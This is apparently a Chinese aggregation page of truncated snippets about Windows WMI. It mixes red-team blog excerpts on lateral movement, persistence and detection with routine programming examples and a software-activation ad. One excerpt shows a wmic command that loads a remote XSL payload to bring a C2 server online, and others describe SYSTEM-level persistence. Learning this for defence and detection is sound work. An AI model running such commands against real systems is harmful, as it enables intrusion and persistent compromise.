WMI的讲解(是什么,做什么,为什么) 讲在前面 作者:pingpig@深蓝攻防实验室 WMI在笔者所参与的项目中发现目前攻防中利用依旧非常频繁,尤其在横向移动中,利用wmic或者powershell...WMI是什么 简介: WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM(TCP...它包含两个模块:包含WMI Core(WMI核心)的WMI Service(WMI服务)(Winmgmt)和WMI Repository(WMI存储库)。...WMI存储库是通过WMI Namespace(WMI命名空间)组织起来的。...WMI提供者将数据返回给WMI服务,WMI服务再将结果返回给请求的应用。
使用WMI技术主要分为两个大的方面:1 获取信息;2 提供数据。其中“获取信息”需要WMI Classes(以后称为WMI类)。“提供数据”需要WMI Provider(以后称为WMI提供者)。...它包含两个模块:包含WMI Core(WMI核心)的WMI Service(WMI服务)(Winmgmt)和WMI Repository(WMI存储库)。 ...WMI存储库是通过WMI Namespace(WMI命名空间)组织起来的。...如果请求的是一个静态数据,WMI将从WMI存储库中查找数据并返回;如果请求的是一个动态数据,比如一个托管对象的当前内存情况,WMI服务将请求传递给已经在WMI服务中注册的相应的WMI提供者。...WMI提供者将数据返回给WMI服务,WMI服务再将结果返回给请求的应用。
1.信息收集当我们在拿到内网某一台机器权限时,第一时间要做的就是信息收集,WMI中的各种类为我们在内网信息收集方面提供了十分有利的条件,作为红队的我们可以利用如下WMI中各种类的子集来对目标进行全方面信息收集...4.WMI攻击检测WMI拥有极其强大的事件处理子系统,因在操作系统中所有的操作行为都可以触发WMI的事件,我们可以将WMI理解成是微软操作系统中自带的一个免费IDS(入侵流量检测),WMI的定位就是实时捕获攻击者的攻击操作...,那么我们利用WMI所产生的事件可进一步的判断是否是攻击者的操作,如下是攻击者常见的攻击利用手法,对VMI所触发产生的事件。...创建WMI类存储攻击者数,__ClassCreationEvent事件会被触发。...当攻击者安装恶意WMI提供程序时,⼀个Provider类的实例会被创建,InstanceCreationEvent事件会被触发。
1.WMI永久事件订阅组成(1)EventFilter(事件过滤器)EventFilter(事件过滤器)存储在一个ROOT\subscription:__EventFilter对象的实例里,其主要作用是使用...WMI的查询语言来过滤审核特定的事件,一个事件过滤器接受一个WMI事件查询参数,同时EventFilter事件过滤器可以对Intrinsic Events (内部事件)和Extrinsic Events...,一般情况下,WMI为存储在WMI存储库中的对象创建内部事件,提供程序为动态类生成内部事件,如果没有可用的提供程序,WMI将会为动态类创建一个实例,以下为WMI用于报告内部事件的系统类。...2)永久消费者类实例注册在WMI命名空间中,一直有效直至注销(永久性的WMI事件是持久性驻留的,并且以SYSTEM权限运行,重启后仍然还在),永久事件使用者一直运行到其注册被显式取消,然后在 WMI 或系统重新启动时启动...永久事件消费者是系统上WMI类、过滤器和COM对象的组合。
一.WMI远程交互当前,WMI支持两种远程交互的协议:DCOM协议和WinRm协议。...我们可以通过这两种协议对远程的机器进行对象查询、事件注册以及WMI类方法的执行等操作,攻击者要有效的利用WMI的两种远程交互协议则需要一定的特权用户凭证,因此大多数的安全厂家通常都不会对WMI这两种协议所传输的恶意内容以及恶意流量进行审查...,这就让攻击者对WMI这两种协议有了可利用的空间,那么,接下来给大家分别介绍WMI所支持的两种协议—DCOM协议和WinRm协议。...WinRM是基于Web服务管理规范(Web Services Management )所构建的一种基于SOAP的设备管理协议,它允许使用SOAP通过HTTP(S)远程管理Windows计算机,在后端其是利用了WMI...,我们也可以把它看作是一个基于HTTP的WMI API。
在 PowerShell 可以很容易使用 WMI 拿到系统的信息,如果有关注我的网站,就会发现我写了很多通过 WMI 拿到系统的显卡,系统安装的软件等方法,本文告诉大家如果通过 PowerShell 拿到...WMI 类里面的属性 在 Windows 系统通过 Windows Management Instrumentation (WMI) 统一管理系统的配置,在 PowerShell 能使用 WMI 的功能进行获取系统...很少有人知道 WMI 里面包含了多少可以使用的类,包括我之前写的很多博客,实际上也只是里面的很少,通过下面的例子告诉大家如何获取设备里面包含的类 获取 WMI 类 在使用 WMI 之前需要知道 WMI...是能做什么的,这个方法能做的就是描述系统能被管理的资源,在系统里面包含了几百个类,一个类里面包含很多属性 通过 Get-WmiObject 可以找到设备里面所有可以被找到的 WMI 类 Get-WmiObject...} CSName Property string CSName {get;set;} // 还有很多属性 总结一下,获取一个 WMI
public class DNSAdminLib { //要连接的DNS服务器 private string sServerPath; /...private string username = null; //密码 private string password = null; //服务器名称或...DnsClass; // private ManagementBaseObject MI; /// /// DNS服务器名称或...this.DNSName = value; } } /// /// 连接服务器的用户名...this.username = value; } } /// /// 连接服务器的密码
于是重新整理,有了这份,我认为精简版的WMI笔记。 WMI 背景 ---- WMI 是什么?...换句话说:Microsoft + CIM + WBEM +DMTF = WMI 打开MSDN 中关于WMI的描述是这样: Windows Management Instrumentation (WMI)...Remote WMI Protocols ---- WMI 可以使用两种协议用于Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。...WMI Eventing ---- WMI 事件订阅是订阅某些系统事件的方法。...重点放在Permanent WMI Event Subscriptions上,永久的WMI 事件订阅存储在WMI repository,系统关键/重启之后任然存储着,并且,永久的WMI事件订阅是以System
Form1: TForm1; implementation function GetWMIProperty(WMIType, WMIProperty: string): string; var Wmi..., Objs, Obj: OleVariant; Enum: IEnumVariant; C: Cardinal; s:string; begin Wmi:= CreateOleObject...('WbemScripting.SWbemLocator'); Objs := Wmi.ConnectServer('.'...RPC_C_IMP_LEVEL_IMPERSONATE, nil, EOAC_NONE, nil)) then Exit; // Obtain the initial locator to WMI...CLSID_WbemLocator, nil, CLSCTX_INPROC_SERVER, IID_IWbemLocator, FWbemLocator)) then try // Connect to WMI
✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...WMI介绍 WMI的全名为"Windows Management Instrumentation"。 从win98开始,Windows操作系统都支持WMI,WMI可以在本地或者远程管理计算机系统。...具体可以参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/using-wmi 2....WMI常用命令 以下操作均在win7上执行。...总结 本文对WMI的基本用法做了一个归类,其中参考了众多师傅的文章,WMI的用法远不止于此,而且本文是未对存在杀软的环境进行分析,等以后有机会再去探讨吧。
WMI利用 (权限维持) 讲在前面 作者:pingpig@深蓝攻防实验室 在简单了解了WMI后,我们开始了横向移动,包括其中的信息收集,工具利用。...笔者看了国内外部分文章后,发现WMI做权限维持主要是介绍WMI事件,并将其分为永久事件和临时事件,本文参考部分博客文章对WMI事件进行讲解,不足之处,望及时指出。...相关文章:WMI讲解(是什么,做什么,为什么) WMI利用(横向移动) 什么是WMI事件 WMI事件,即特定对象的属性发生改变时发出的通知,其中包括增加、修改、删除三种类型。...通俗的可以说:WMI内部出现什么变化就由WMI事件来进行通知。...对于WMI事件的官方解释以及部分博客解释: · WMI事件通知 · 接收WMI事件 查询事件 列出事件过滤器 Get-WMIObject -Namespace root\Subscription -Class
攻击检测 WMI攻击检测 谢公子学安全 讲在前面 作者:pingpig@深蓝攻防实验室 在前面的文章中我们讲了:WMI讲解(是什么,做什么,为什么) WMI利用(横向移动)...WMI利用(权限维持) 今天主要分享的是WMI攻击检测。...总之两点: 做好 WMI 连接的网络流量监控,一般不使用 WMI 的环境若出现了使用 WMI的情况,则内部网络可能已经被入侵。 做好进程监控,监测”wmic.exe“的命令行参数及其执行的命令。...WMI 方法。...若通过 WINRM 协议执行时,WMI 流量看起来像 HTTP,并且再次与通过 SVCCTL 接口时完全不同。这意味着 WMI技术可以有效地规避任何流量检测其横向移动的操作。
有小伙伴私信问,服务器是什么,本期就来简要的说下服务器。 服务器,顾名思义,就是提供服务的咯。 那服务器为谁提供服务呢?当然是为计算机提供服务。 简单的说就是为电脑提供服务的电脑。...那么为什么服务器需要这么多内存硬盘,却不需要显卡呢? 这里就要讲到服务器的软件层面的应用了。...在系统层面,服务器一般都采用的是专用的服务器系统, 像Windows server系列系统是专门为服务器设计的。...服务器系统本身就会自带许多专业服务,比如IIS, 文件服务器等,而且安全性方面也比普通系统更高。 ? 有人可能要问,一台服务器就能存储所有的数据吗?...而且服务器大多价格高昂,虽然也有相对便宜的服务器, 但是这些服务器的配置也更低,出于侧重稳定性的设计, 同样价格的服务器配置基本比不上个人电脑的配置。 ? 那普通的电脑可以作为服务器使用吗?
ManagementClass c = new ManagementClass("Win32_DiskQuota");
WMI使用技巧集 很多的朋友对WMI可能见过但理解不深,我也是十分想了解关于WMI的知识,可一直找不运维...强烈推介IDEA2020.2破解激活,IntelliJ IDEA 注册码,2020.2 IDEA 激活码 WMI使用技巧集 很多的朋友对WMI可能见过但理解不深,我也是十分想了解关于WMI的知识,可一直找不对太合适的资料...url=/library/en- us/wmisdk/wmi/wmi_start_page.asp WMI使用说明(csdn): http://www.csdn.net/develop/article...WMI 为您提供与系统管理信息和基础 WMI API 交互的标准方法。WMI 主要由系统管理应用程序开发人员和管理员用来访问和操作系统管理信息。...WMI 可用于生成组织和管理系统信息的工具,使管理员或系统管理人员能够更密切地监视系统活动。例如,可以使用 WMI 开发一个应用程序,用于在 Web 服务器崩溃时呼叫管理员。
在《WMI技术介绍和应用——WMI概述》中介绍了我们可以使用C++、.net或者支持ActiveX技术的脚本语言来使用WMI。...但是各种语言对WMI的控制能力是不同的,比如脚本语言只能用来从WMI获取数据或者接收事件通知。而C++还可以编写WMI提供者和发送消息。...在《WMI技术介绍和应用——WMI概述》中我们提到,WMI中存在诸如root\default、root\cimv2等WMI命令空间。...// Reserved ); CHECKHR(hr); } while (0); return hr; } 创建进程内COM服务器...这样就要求我们应用和WMI服务进程有通信。在我们应用这边,就需要创建一个进程内COM服务器用于接发数据。
PS C:\Users\AT> Get-CimInstance -query 'Select * from Win32_BIOS' -Namespace roo...
2021 WMI利用 (横向移动) 谢公子学安全 讲在前面 作者:pingpig@深蓝攻防实验室 上一篇文章我们简单的解释了什么是WMI,WMI做什么,为什么使用WMI。...本文是笔者在阅读国内部分的解释WMI横向移动的文章后写下的一篇文章,希望帮助同学们在攻防中进入横向移动后根据实际场景利用WMI来解决问题。...powershell执行 ###执行下载命令 wmic os get /FORMAT:"http://xx.xxx.xxx.xxx:8000/xsl.xsl" 执行命令 C2服务器成功上线...参考文章 内网横移之WinRM 内网渗透|基于WMI的横向移动 WmiScan 135端口智能密码/WMI密码爆破 WinRM的横向移动详解 WMI横向移动 不需要 Win32_Process – 扩展...WMI 横向运动 利用wmic调用xsl文件的分析与利用 利用WMIC执行Payload
它属于管理数据和操作的基础模块,设计WMI的初衷是为了能达到一种通用性,通过WMI去操作系统、应用程序等去管理本地或者远程资源。...2.WQL语言 WQL也就是WMI的SQL,WQL的全称是WMI Query Language(Windows管理规范查询语言),主要用于查询WMI任何托管资源,其查询语言与SQL语法相似,但只能执行数据的查询...WMI Client 在WMI交互时有很多客户端,我们在实战中可以根据不同的场景适当的去选择已有的客户端进行操作,接下来详细介绍可以用于实战中的WMI Client。...Poweshell支持WMI和CIM两种命令方式与WMI进行交互,两种命令方式的不同的点在于WMI命令只能用做于DCom协议,而CIM命令不仅支持DCom协议还支持WINRm协议,由此可见,CIM命令与...WMI交互时更具有一定的灵活性,下述为Powershell可与WMI交互的功能。
########################################################### import os, sys import time import wmi...##################################### def get_memory_info(): tmpdict = {} c = wmi.WMI
领取专属 10元无门槛券
手把手带您无忧上云